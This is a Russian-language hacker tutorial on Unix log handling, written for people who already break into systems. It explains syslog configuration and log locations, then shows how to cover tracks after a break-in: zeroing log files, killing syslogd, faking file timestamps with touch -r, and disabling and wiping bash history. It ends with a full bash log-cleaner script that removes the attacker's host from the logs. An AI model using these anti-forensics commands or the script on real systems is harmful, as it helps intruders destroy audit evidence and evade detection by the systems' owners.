Этой статьей мы хотели бы начать небольшую серию заметок для тех, кто научился популярным методам взлома юникс-лайк систем, но знания ограничиваются использованием эксплоитов и копированием файла для замены первой страницы сайта. Да, мы понимаем, дефейсы - это круто =) Особенно масс-дефейсы: сколько людей увидят твое имя с подписью наподобие: "31337 haxors team was here". Но нужно двигаться дальше. Мы предлагаем на полезных примерах начать изучать юникс. Нет, мы понимаем, что у тебя есть подборка статей и главная из них "Основные команды юникс" от lbyte, а может быть даже есть книга "Библия юникс". Но будешь ли ты читать раздел, скажем, о файле syslog.conf, если ты не собираешься стать сисадмином? Нет? А если мы скажем, что от его изучения напрямую зависит, поймают тебя или нет? =) Ладно, оставим шутки в стиле журнала "Хакер" и начнем говорить о логах. Почему мы решили начать именно с этого? Да потому, что чистка логов - архиважное, можно даже сказать первое дело после взлома системы, а иногда и до него. Итак, начнем с теории. Нам следует для начала разобраться с тем как пишутся логи, а потом будут понятно как их тереть. Кстати, статьи будут полезны и неопытным сисадминам, которые должны узнать как действуют хакеры, чтоб с ними бороться.
В UNIX системах используются довольно простые, но очень удачные методы регистрации событий. Программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:
# Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console
# Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none;cron.none /var/log/messages
# The authpriv file has restricted access. authpriv.* /var/log/secure
# Log all the mail messages in one place. mail.* /var/log/maillog
# Log cron stuff cron.* /var/log/cron
# Everybody gets emergency messages *.emerg *
# Save news errors of level crit and higher in a special file. uucp,news.crit /var/log/spooler
# Save boot messages also to boot.log local7.* /var/log/boot.log
Итак, что мы видим? Очень простая структура: слева пишется категория и привилегия события, а справа - файл куда это событие заносится: катeгория.приоритет адрес_лог_файла Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях: auth - сообщения о нарушении авторизации доступа; authpriv - сообщения о привилегированном доступе; cron - сообщения демона крон; daemon - сообщения других демонов; kern - сообщения ядра; lpr - сообщения системы печати; mail - сообщения почтовых программ; news - сообщения новостных программ; syslog - сообщения самого демона сислог; security - тоже самое что и auth (не должно использоваться в новых системах); user - сообщения программ юзеров; uucp - сообщения UUCP; local0-local7 - определяется для конкретной системы.
Почти понятно? Тогда рассмотрим уровни приоритетов: emerg - системе амбец; alert - нужно срочное вмешательство; crit - состояние критично и представляет угрозу работе системы; err - сообщение об ошибках; warnity - предупреждение; notice - состояние допустимое, но админ должен это увидеть; info - просто информация; debug - отладочные сообщения; none - нет приоритета. Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет. Посмотрим на приведенный выше конфиг машины с Ред Хетом: 1) все сообщения о привелигированных входах регистрируются в файле /var/log/secure: authpriv.* /var/log/secure 2) регистрируются все сообщения почтовых программ и демона "крон": mail.* /var/log/maillog cron.* /var/log/cron загрузочные сообщения пишутся в /var/log/boot.log: local7.* /var/log/boot.log
с остальным разберетесь сами - кажется все просто ;) Что ж, настройки минимальны. В случае получения привелигированного доступа к такой машине нас в первую очередь будут беспокоить два файла: /var/log/messages /var/log/secure
А вот пример конфига рабочего сервера на FreeBSD:
[guest@machine]$ cat /etc/syslog.conf
# $FreeBSD: src/etc/syslog.conf,v 1.13.2.3 2002/04/15 00:44:13 dougb Exp $ # # Spaces ARE valid field separators in this file. However, # other *nix-like systems still insist on using tabs as field # separators. If you are sharing this file between systems, you # may want to use only tabs as field separators here. # Consult the syslog.conf(5) manpage. *.err;kern.debug;auth.notice;mail.crit /dev/console *.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages security.* /var/log/security auth.info;authpriv.info /var/log/auth.log mail.info /var/log/maillog lpr.info /var/log/lpd-errs cron.* /var/log/cron *.emerg * # uncomment this to log all writes to /dev/console to /var/log/console.log #console.info /var/log/console.log # uncomment this to enable logging of all log messages to /var/log/all.log # touch /var/log/all.log and chmod it to mode 600 before it will work #*.* /var/log/all.log # uncomment this to enable logging to a remote loghost named loghost #*.* @loghost # uncomment these if you're running inn # news.crit /var/log/news/news.crit # news.err /var/log/news/news.err # news.notice /var/log/news/news.notice !startslip *.* /var/log/slip.log !ppp *.* /var/log/ppp.log !ipa *.* /var/log/ipa.log
Здесь как минимум нас должны заинтересовать эти строки: *.err;kern.debug;auth.notice;mail.crit /dev/console *.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages security.* /var/log/security auth.info;authpriv.info /var/log/auth.log Так, кажется с этим тоже разообрались. Теперь посмотрим куда могут отправляться сообщения. /путь/имя_файла - сообщения записываются в лог-файл; /dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине); root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение; * - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg); | - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте); @имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd). Последнее и есть самая опасная для хакера вещь - логи удастся почистить только если взломать второй хост. Ну вот, кажется, теперь мы знаем, как и где хранятся файлы журналов (логи), формируемые демоном syslogd. Теперь, кажется, нужно рассмотреть немного поподробнее, что это за файлы. Как можно было заметить, главный файл логов - /var/log/messages, в который записываются все основные сообщения системы. Давайте-ка поглядим на нашу директорию /var/log/ на машине с нашим дефолтным ред хетом: [root@localhost root]# ls -l /var/log total 1368 -rw------- 1 root root 0 Jan 2 19:00 boot.log -rw------- 1 root root 64492 Jan 2 19:00 boot.log.1 -rw------- 1 root root 700 Jan 2 19:09 cron -rw------- 1 root root 10776 Jan 2 19:00 cron.1 drwxr-xr-x 2 lp sys 1024 Jan 2 19:00 cups -rw-r--r-- 1 root root 5301 Jan 2 17:54 dmesg drwxr-xr-x 2 root root 1024 Jan 2 17:54 gdm drwx------ 2 root root 1024 Jan 2 19:00 httpd -rw-r--r-- 1 root root 58295 Jan 2 17:54 ksyms.0 -rw-r--r-- 1 root root 58295 Jan 1 21:34 ksyms.1 -rw-r--r-- 1 root root 58295 Dec 29 00:09 ksyms.2 -rw-r--r-- 1 root root 58295 Dec 14 16:31 ksyms.3 -rw-r--r-- 1 root root 58295 Dec 13 19:22 ksyms.4 -rw-r--r-- 1 root root 58295 Nov 30 20:58 ksyms.5 -rw-r--r-- 1 root root 58295 Nov 29 23:35 ksyms.6 -r-------- 1 root root 19136220 Jan 2 17:56 lastlog -rw------- 1 root root 417 Jan 2 19:03 maillog -rw------- 1 root root 8094 Jan 2 19:00 maillog.1 -rw------- 1 root root 50 Jan 2 19:00 messages -rw------- 1 root root 360246 Jan 2 19:00 messages.1 -rw-r--r-- 1 root root 17105 Jan 2 19:00 rpmpkgs -rw-r--r-- 1 root root 17105 Nov 30 00:42 rpmpkgs.1 -rw-r--r-- 1 root root 15191 Aug 13 20:57 scrollkeeper.log -rw------- 1 root root 0 Jan 2 19:00 secure -rw------- 1 root root 2675 Nov 30 21:08 secure.1 -rw------- 1 root root 0 Jan 2 19:00 spooler -rw------- 1 root root 0 Aug 13 20:31 spooler.1 drwxr-xr-x 2 root root 1024 Feb 4 2003 vbox -rw-rw-r-- 1 root utmp 0 Jan 2 19:00 wtmp -rw-rw-r-- 1 root utmp 312576 Jan 2 18:57 wtmp.1 -rw-r--r-- 1 root root 33523 Jan 2 17:55 XFree86.0.log -rw-r--r-- 1 root root 33523 Jan 1 21:51 XFree86.0.log.old -rw-r--r-- 1 root root 33523 Aug 13 21:18 XFree86.1.log
Для нас важны файлы: wtmp, lastlog, secure и интересная папка httpd, в которой хранятся логи веб-сервера (в нашем случае apache): [root@localhost root]# ls /var/log/httpd access_log ssl_access_log ssl_request_log error_log ssl_error_log
В данном случае логи веб-сервера, которые пишутся самим apache, оказались в той же директории, что и все основные логи системы. Унификация, понимаешь =) В случаях индивидуальных настроек с большим количеством виртуальных хостов логи их часто хранятся в папках пользователей, например: [root@localhost root]# ls /home/user_name/ log/ httpd/ ftp/ Стоит еще обратить внимание на то, что на других системах (особенно старых) файлы журналов могут храниться в совершенно других директориях. Итак, берем на заметку следующее: /var/log/ /usr/adm/ /var/adm/ /etc/utmp - лог хранит записи всех посещений системы Хорошо, мы знаем, какие файлы нам нужно чистить. Теперь осталось узнать как. Варианты обнуления файлов: [root@localhost root]# cat /dev/null > /var/log/messages Но могут возникнуть проблемы, если файл открыт каким-либо процессом. Тогда более приемлемо следующее: [root@localhost root]# tee /var/log/messages < /dev/null [root@localhost root]# cp /dev/null /var/log/messages
Как это все упростить? Ведь нам нужно сразу и много файлов обнулить. Пишем небольшой сценарий (назовем его clean.sh) на bash (пример для нашего red hat'а):
#!/bin/bash cd /var/log cp /dev/null messages cp /dev/null lastlog cp /dev/null wtmp cp /dev/null secure cp /dev/null httpd/access_log cp /dev/null httpd/error_log echo "LOGZ CLEAR"
и запускаем его:
[root@localhost root]# bash clean.sh
Что б нулевой размер логов сразу не бросался админу в глаза можно было бы сделать копии файлов до начала наших активных действий на сервере, а затем скопировать их обратно после взлома. К тому же можно было убить процесс syslogd: killall -9 syslogd. А потом при помощи команды touch переделать время изменения файла. Как? смотрим touch --help:
Использование: touch [OPTION]... FILE... Меняет время доступа и изменения файла (FILE) на текущее..
А вот несколько аргументов, которые мы можем задать в качестве OPTION:. -a меняет только время доступа (access time) -c, --no-create не создает никаких файлов -d, --date=STRING берет значение STRING и использует его вместо текущего времени -m меняет только время изменения (modification time) -r, --reference=FILE использует время заданного файла вместо текущего -t STAMP использует время в формате [[CC]YY]MMDDhhmm[.ss] вместо текущего
Хороший вариант для исправления временных меток - снять их с имеющегося файла (например /etc/passwd или лог файл загрузки системы /var/log/boot.log) при помощи опции -r:
$ touch -r /etc/passwd /var/log/secure
Идем дальше. В папке юзера (root?) сохраняется файл с историей всех bash команд: .bash_history. Его тоже не мешало бы потереть, и сделать предварительно запрет сохранения истории команд:
uset HISTFILE; UNSET SAVEHIST
Мы рассмотрели вопрос логов довольно примитивным образом - для начинающих. Если же кто-то захочет узнать немного побольше, рекомендуем статью Jlx'а в журнале Defaced #3. Ну а мы приступим к написанию более продвинутого логклинера, чем представленные выше пара строк кода =). Значит идея скрипта такова: есть два параметра, которые мы ему передаем: 1) имя хоста, которое надо удалить из логов 2) необязательный параметр - имя файла, с которого брать шаблон временных меток #!/bin/bash #Простой чистильщик логов #от GipsHackers Crew #написан для образовательных целей #расчитан на Red Hat 9.0 (настройки по умолчанию). #Можете заменить/добавить ссылки на лог файлы для своей системы. #Удачи! ###### FIRST_DIR=/var/log # задаем директорию с логами S_UID=0 # укажем, что права для запуска должны быть root USER_DIR=`pwd` # задаем директорию пользователя, из которой запускается скрипт #проверяем права пользователя if [ "$UID" -ne "$S_UID" ] then echo "Sorry, you are not root"; exit; fi #проверяем наличие 1-го аргумента командной строки if [ -z "$1" ] then echo "GIPS HACKERS CREW Log Cleaner for Red Hat 9.0" echo "=============================================" echo "Usage:" echo "$0 <host> [<date_file>]" echo "<host> - host you want to delete from logs" echo "<date_file> - if you want to set old mtime for logs" echo " just type the name of the file with the date you want. " echo " Good ideas: /etc/passwd or /var/log/boot.log" echo "Example:" echo "$0 hacker.ssu.com /var/log/boot.log" exit fi cd $FIRST_DIR if [ "$PWD" != "$FIRST_DIR" ] then echo "Can't go to /var/log directory" exit fi #останавливаем демон syslogd echo "Let's stop logging!" killall -HUP syslogd || { echo "Can't stop SYSLOG daemon." } #трем логи. для обнуления используем команду " :>" - короткий аналог "cat /dev/null >" echo "Log cleaning starts" :> lastlog :> wtmp :> secure :> maillog #копируем файлы логов с без нашего имени хоста и пересохраняем копии вместо существующих cat messages | grep -v "$HOST" > message.tmp mv message.tmp messages cat httpd/access_log | grep -v "$HOST" > access_log.tmp mv access_log.tmp httpd/access_log cat httpd/error_log | grep -v "$HOST" > error_log.tmp mv error_log.tmp httpd/error_log #заменяем временные метки, если задан 2-й аргумент if [ -n "$2" ] then COMPARE=$2; echo "Now changing modification time" { touch -r "$COMPARE" messages; touch -r "$COMPARE" lastlog; touch -r "$COMPARE" wtmp; touch -r "$COMPARE" secure; touch -r "$COMPARE" maillog; touch -r "$COMPARE" httpd/access_log; touch -r "$COMPARE" httpd/error_log }|| { echo "Can't change modification time"; } fi #систим историю команд и запрещаем их сохранение echo "Do we need bash history? unset it now!" { unset HISTFILE; unset SAVEHIST; cd $USER_DIR; :>.bash_history; touch -r "$COMPARE" .bash_history; cd /root; :>.bash_history; touch -r "$COMPARE" .bash_history; } || { echo "Can't clean Bash history" } echo "thats all. have nice day or night!"
|